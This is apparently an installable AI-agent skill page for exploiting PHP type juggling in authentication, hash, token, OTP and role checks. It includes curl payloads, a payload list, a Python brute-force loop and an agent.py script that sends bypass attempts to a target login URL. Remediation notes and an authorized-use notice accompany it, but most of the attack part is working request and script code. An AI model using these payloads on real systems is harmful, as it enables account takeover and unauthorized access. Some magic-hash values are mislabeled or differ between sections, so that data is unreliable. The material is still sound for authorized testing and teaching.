web application security

Exploiting Type Juggling Vulnerabilities

Exploit PHP type juggling vulnerabilities caused by loose comparison operators to bypass authentication, circumvent hash verification, and manipulate application logic through type coercion attacks.

authentication-bypassloose-comparisonmagic-hashphp-securitytype-coerciontype-jugglingweb-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When testing PHP web applications for authentication bypass vulnerabilities
  • During assessment of password comparison and hash verification logic
  • When testing applications using loose comparison (== instead of ===)
  • During code review of PHP applications handling JSON or deserialized input
  • When evaluating input validation that relies on type-dependent comparison

Prerequisites

  • Understanding of PHP type system and loose comparison behavior
  • Knowledge of magic hash values (0e prefix) and their scientific notation interpretation
  • Burp Suite for request manipulation and parameter type changing
  • PHP development environment for testing payloads locally
  • Collection of magic hash strings from PayloadsAllTheThings
  • Ability to send JSON or serialized data to control input types

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Type Juggling Candidates

# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control
 
# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'
 
# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}

Step 2 — Exploit Loose Comparison Authentication Bypass

# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'
 
# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'
 
# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'
 
# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'
 
# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

Step 3 — Exploit Magic Hash Collisions

# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison
 
# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299
 
# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"
 
# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
 
# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

Step 4 — Exploit Comparison in Access Control

# Numeric comparison bypass
# If: if($user_id == $target_id) { // allow access }
# "0" == "0e12345" is TRUE (both evaluate to 0)
 
# String to integer conversion
# "1abc" == 1 is TRUE in PHP (string truncated to integer)
curl "http://target.com/api/user?id=1abc"
 
# Boolean comparison for role checking
# if($role == true) grants access to any non-empty string
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'
 
# Null comparison for optional checks
# if($token == null) might skip validation
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'

Step 5 — Exploit via Deserialization Input

# PHP json_decode() preserves types
# Attacker controls type via JSON: true, 0, null, []
 
# Bypass token verification
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'
 
# Bypass numeric PIN verification
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'
 
# Bypass with zero value
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'
 
# PHP unserialize() type juggling
# Craft serialized object with integer type instead of string
# s:8:"password"; -> i:0; (string "password" to integer 0)

Step 6 — Automated Type Juggling Testing

# Test all common type juggling payloads against each parameter
# Using Burp Intruder with type juggling payload list
 
# Payload list for JSON-based testing:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"
 
# Python automation
python3 -c "
import requests
import json
 
url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']
 
for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')
"

Key Concepts

Concept Description
Loose Comparison (==) PHP comparison that performs type coercion before comparing values
Strict Comparison (===) PHP comparison requiring both value and type to match
Magic Hash String whose hash starts with "0e" followed by digits, evaluating to 0 in loose comparison
Type Coercion Automatic conversion between types (string to int, null to 0) during comparison
strcmp Bypass Passing array to strcmp() returns NULL, which equals 0 in loose comparison
JSON Type Control Using JSON input to send specific types (boolean, integer, null) to PHP endpoints
Scientific Notation PHP interprets "0eN" strings as 0 in exponential notation during numeric comparison

Tools & Systems

Tool Purpose
Burp Suite HTTP proxy for changing parameter types in requests
PHP interactive shell Local testing of type juggling behavior
PayloadsAllTheThings Curated magic hash and type juggling payload lists
phpggc PHP generic gadget chains for deserialization exploitation
Custom Python scripts Automated type juggling payload testing
PHPStan/Psalm Static analysis tools detecting loose comparisons in code

Common Scenarios

  1. Authentication Bypass via Boolean — Send "password": true as JSON to bypass loose comparison password verification
  2. Magic Hash Collision — Use known magic hash input ("240610708") whose MD5 starts with "0e" to match against stored hashes
  3. strcmp Array Bypass — Send password[]=anything to make strcmp() return NULL, bypassing password comparison
  4. PIN/OTP Bypass — Send integer 0 as verification code to match against "0e..." hash of the actual code
  5. Role Escalation — Send "role": true to match any non-empty role string in loose comparison access checks

Output Format

## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel
 
### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |
 
### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |
 
### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.1 KB

API Reference: Type Juggling Vulnerabilities

PHP Loose Comparison (==) vs Strict (===)

Dangerous Comparisons

Expression Result Why
0 == "string" TRUE String cast to int = 0
"0e123" == "0e456" TRUE Both treated as 0 (scientific notation)
true == "anything" TRUE Non-empty string is truthy
NULL == "" TRUE Both falsy
[] == false TRUE Empty array is falsy

Magic Hash Strings

MD5 Hashes Starting with 0e

Input MD5 Hash
240610708 0e462097431906509019562988736854
QNKCDZO 0e830400451993494058024219903391
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536617

SHA1 Hashes Starting with 0e

Input SHA1 Hash
aaroZmOk 0e17...

Authentication Bypass Payloads

JSON Payloads

{"username": "admin", "password": true}
{"username": "admin", "password": 0}
{"username": "admin", "password": []}

Why This Works

// Vulnerable PHP code
if ($password == $stored_hash) { // Loose comparison!
    authenticate();
}
// true == "any_string" => TRUE
// 0 == "non_numeric_string" => TRUE (PHP < 8.0)

Token/OTP Bypass

Loose Comparison on Tokens

// Vulnerable
if ($_POST['token'] == $valid_token) { ... }
 
// Attack: send integer 0
// 0 == "a1b2c3..." => TRUE (PHP < 8.0)

JSON Type Manipulation

{"otp": 0}      // 0 == "123456" in PHP < 8.0
{"otp": true}   // true == "123456" is TRUE

Testing with requests

import requests
# Boolean bypass
resp = requests.post(url, json={"password": True})
# Integer bypass
resp = requests.post(url, json={"password": 0})
# Array bypass
resp = requests.post(url, json={"password": []})

PHP 8.0 Changes

  • 0 == "string" now returns FALSE (fixed)
  • 0 == "" now returns FALSE
  • Still vulnerable: "0e123" == "0e456" returns TRUE

Remediation

  1. Always use strict comparison (===)
  2. Validate input types before comparison
  3. Use password_verify() for passwords
  4. Use hash_equals() for timing-safe comparison
  5. Upgrade to PHP 8.0+

Scripts 1

agent.py5.2 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing type juggling vulnerabilities in PHP and loosely-typed applications."""

import argparse
import json
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

TYPE_JUGGLING_PAYLOADS = {
    "magic_hashes": [
        {"value": "0e462097431906509019562988736854", "note": "MD5 of '240610708' — equals 0 in loose comparison"},
        {"value": "0e215962017", "note": "MD5 of 'QNKCDZO' — equals 0"},
        {"value": 0, "note": "Integer 0 == '0e...' in PHP loose comparison"},
        {"value": True, "note": "Boolean true == any non-empty string in PHP"},
        {"value": [], "note": "Empty array == NULL in some contexts"},
    ],
    "type_coercion": [
        {"field": "password", "value": True, "note": "true == 'any_string' in PHP"},
        {"field": "password", "value": 0, "note": "0 == 'string' in PHP"},
        {"field": "token", "value": 0, "note": "0 == 'hex_token' in PHP"},
        {"field": "otp", "value": True, "note": "true == '123456' in PHP"},
    ],
}


def test_authentication_bypass(url, username_field, password_field, username, token=None):
    """Test authentication bypass via type juggling."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    payloads = [
        {username_field: username, password_field: True},
        {username_field: username, password_field: 0},
        {username_field: username, password_field: []},
        {username_field: username, password_field: "0"},
        {username_field: True, password_field: True},
    ]

    try:
        baseline = requests.post(
            url, json={username_field: username, password_field: "wrong_password"},
            headers=headers, timeout=10, verify=False
        )
        baseline_status = baseline.status_code
        baseline_len = len(baseline.text)
    except requests.RequestException:
        return findings

    for payload in payloads:
        try:
            resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False)
            if resp.status_code != baseline_status or abs(len(resp.text) - baseline_len) > 50:
                findings.append({
                    "payload": str(payload),
                    "status_code": resp.status_code,
                    "response_length": len(resp.text),
                    "baseline_status": baseline_status,
                    "baseline_length": baseline_len,
                    "possible_bypass": True,
                    "severity": "CRITICAL",
                })
        except requests.RequestException:
            continue
    return findings


def test_comparison_bypass(url, param, token=None):
    """Test loose comparison bypass for tokens/OTP."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    for payload_info in TYPE_JUGGLING_PAYLOADS["type_coercion"]:
        try:
            data = {param: payload_info["value"]}
            resp = requests.post(url, json=data, headers=headers, timeout=10, verify=False)
            if resp.status_code == 200:
                findings.append({
                    "param": param,
                    "value": str(payload_info["value"]),
                    "value_type": type(payload_info["value"]).__name__,
                    "note": payload_info["note"],
                    "severity": "HIGH",
                })
        except requests.RequestException:
            continue
    return findings


def main():
    parser = argparse.ArgumentParser(
        description="Test type juggling vulnerabilities (authorized testing only)"
    )
    parser.add_argument("--url", required=True, help="Target login/auth URL")
    parser.add_argument("--username-field", default="username")
    parser.add_argument("--password-field", default="password")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--param", help="Parameter for comparison bypass test")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Type Juggling Vulnerability Testing Agent")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}

    auth_findings = test_authentication_bypass(
        args.url, args.username_field, args.password_field, args.username, args.token
    )
    report["findings"].extend(auth_findings)
    print(f"[*] Auth bypass findings: {len(auth_findings)}")

    if args.param:
        comp_findings = test_comparison_bypass(args.url, args.param, args.token)
        report["findings"].extend(comp_findings)
        print(f"[*] Comparison bypass findings: {len(comp_findings)}")

    report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
Keep exploring